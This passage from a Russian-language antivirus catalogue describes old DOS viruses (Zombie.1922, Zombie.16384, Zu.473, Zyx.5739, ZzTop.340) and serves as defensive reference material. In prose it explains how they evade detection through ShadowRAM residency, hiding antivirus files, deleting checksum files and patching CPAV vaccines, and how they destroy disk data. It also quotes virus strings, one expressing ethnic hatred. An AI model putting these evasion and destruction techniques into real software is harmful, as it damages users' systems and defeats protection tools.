ли он (вирус) открыть на запись RAM Shadow. Далее производится попытка
найти блок свободной памяти (нулевых байт) длиной 2122 байта в сегменте
0C000h. Если ему это не удается, то вирус выясняет адрес расположения
системного фонта размером 8x14. Если данный фонт находится в сегменте
0C000h, а также если адрес оригинального обработчика INT 13h находится
в сегменте 0F000h, то вирус открывает RAM Shadow на запись и записывает
свой код в область нулевых байт или в область системного фонта 8x14.
Затем вирус модифицирует оригинальный обработчик INT 13h, внедряя в
него команду передачи управления на собственную процедуру. После этого
RAM Shadow "закрывается" - запись в нее становится невозможной. При
чтении сектора (f.2 Int 13h) с начальной сигнатурой "MZ", вирус
"перехватывает" INT 21h, обработчик которого заражает в дальнейшем все
запускаемые или открываемые на чтение или запись EXE-файлы. При чтении
секторов, содержащих элементы каталогов или файлов, вирус производит
поиск последовательности байт: ADINF, AIDS, AVP, WEB, DRWEB, ---, CPP,
C, S-ICE, TD, DEBUG, WEB70801, CA. В случае нахождения таковых вирус
устанавливает в прочитанном секторе для найденного элемента первый байт
0E5h - признак удаленного файла и "забивает" дальнейшее имя нулями.
Таким образом, при активном вирусе операционная система не будет даже
подозревать о наличии данных файлов на диске. Вирусные обработчики INT
13h и INT 21h при получении управления "открывают" RAM Shadow,
производят свои действия и обратно "закрывают" RAM Shadow. Без
соответствующих манипуляций с теневой памятью удалить или обезвредить
вирусный код в памяти не предоставляется возможным. При обнаружении
данного вируса в памяти следует произвести лечение системы,
загрузившись с диска, с "чистой" операционной системой. Следует
отметить, что вирусу Zombie.1922, видимо, удастся открыть RAM Shadow на
большинстве современных материнских плат, имеющих процессор Pentium.
Вирус содержит тексты:
Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
Tnx to S.S.R.
ShadowRAM/Virtual Process Infector
ShadowRAM Technology (c) 1996,97 Z0MBiE
Zombie.16384
Неопасный нерезидентный полиморфный вирус. Алгоритм работы полиморфного
генератора очень похож на алгоритмы вирусов Ply и Tmc. Zombie.16384
производит поис и заражение COM-файлов в текущем каталоге. При старте
инфицированной программы вирус создает в памяти строку текста, которую
потом сразу же "забивает нулями": "ZCME 0.01 Z0MBiE`s Code Mutation
Engine (c) 1997". Вирус проходит своим встроенным дизассемблером по
собственному коду и записывает в случайные адреса памяти, выделенного
16K буфера, блоки из ассемблерных инструкций случайной длины. Данные
блоки вирус "разбавляет" командами NOP. Для связывания между собой
этих блоков вирус использует команду безусловного перехода JMP. Таким
образом, 1346-байтный вирус оказывается "разбросанным" по 16K буферу.
Данный буфер вирус записывает в начало инфицируемых файлов.
Zu.473
Опасный резидентный вирус. 13 июня выводит сообщение "Format ..."
и пытается уничтожить содержимое всех секторов нулевой головки жесткого
диска.
Zyx.5739
Опасный нерезидентный зашифрованный вирус. Не заражает программы если
обнаружит в файле CONFIG.SYS текстовые строки "VSAFE.", "NAV_." или
"NAV&.". Удаляет файлы SCANVAL.VAL, FSIZES.QCV, CHKVIRUS.CFG, NAV_*.*,
CHKLIST.MS, *._XE, *._OM, SIGNTURE.DAT, CHKLIST.CPS. Не заражает файлы,
имеющие имена SCAN.EXE, NAV.EXE, TBSCAN.EXE, STACKER.COM. При заражении
файлов вирус пытается определить - вакцинирован ли файл с помощью
антивируса CPAV. Если вакцина будет обнаружена, то вирус исправляет ее
(patch) таким образом, чтобы вакцина при, получении управления, не
"догадалась", что ее файл-хозяин инфицирован. В файлы с расширениями
PAS, DOC, BAK, ASM, C, TXT вирус записывает следующий текст:
To Karen
In the realm of a greek deity, I dreamt of you.
A weird reverie,
Typewriters were like clouds, high in the sky,
The floor was made of paper,
Pencils stood for trees,
A light bulb, low on the horizon, made a perfect sunset.
And it rained words ...
Then you came, more beautiful than ever,
The only one real in my cyberspace.
I felt like holding you im my arms, touching your hair,
Telling you how much I loved you,
How much I wanted to lose myself in your pretty brown eyes.
I was almost in heaven.
Suddenly it was pitch dark,
The greek god had turned off the PC. It said:
'Buddy you're just a damned cyberpunk
whose only friends are NPCs.'
I opened my eyes, it was dawning outside.
You weren't there.
I miss you. I really miss you.
Zyx
From the slums of
Beverly Hills.
Содержит также тексты:
I'MWackOkiDtHebRainChildOfZyx
Stopsnoopingintomywork
Itoldyoutostop
Ifyuwanagoontakesomeflowerstoyourgirltoday&makeherhappyok
IhateturksazerbaijanisandKARABAGHbelongstous
Sowhatdidyougainwiseass
wishIhaddonesomethingelse
Zz.412
Неопасный вирус. Содержит текстовую строку "&Zz".
ZzTop.340
Опасный резидентный вирус. В конец всех открываемых *.C и *.CPP-файлов
записывает текстовую строку "ZZ TOP".
Поділитися у соцмережах
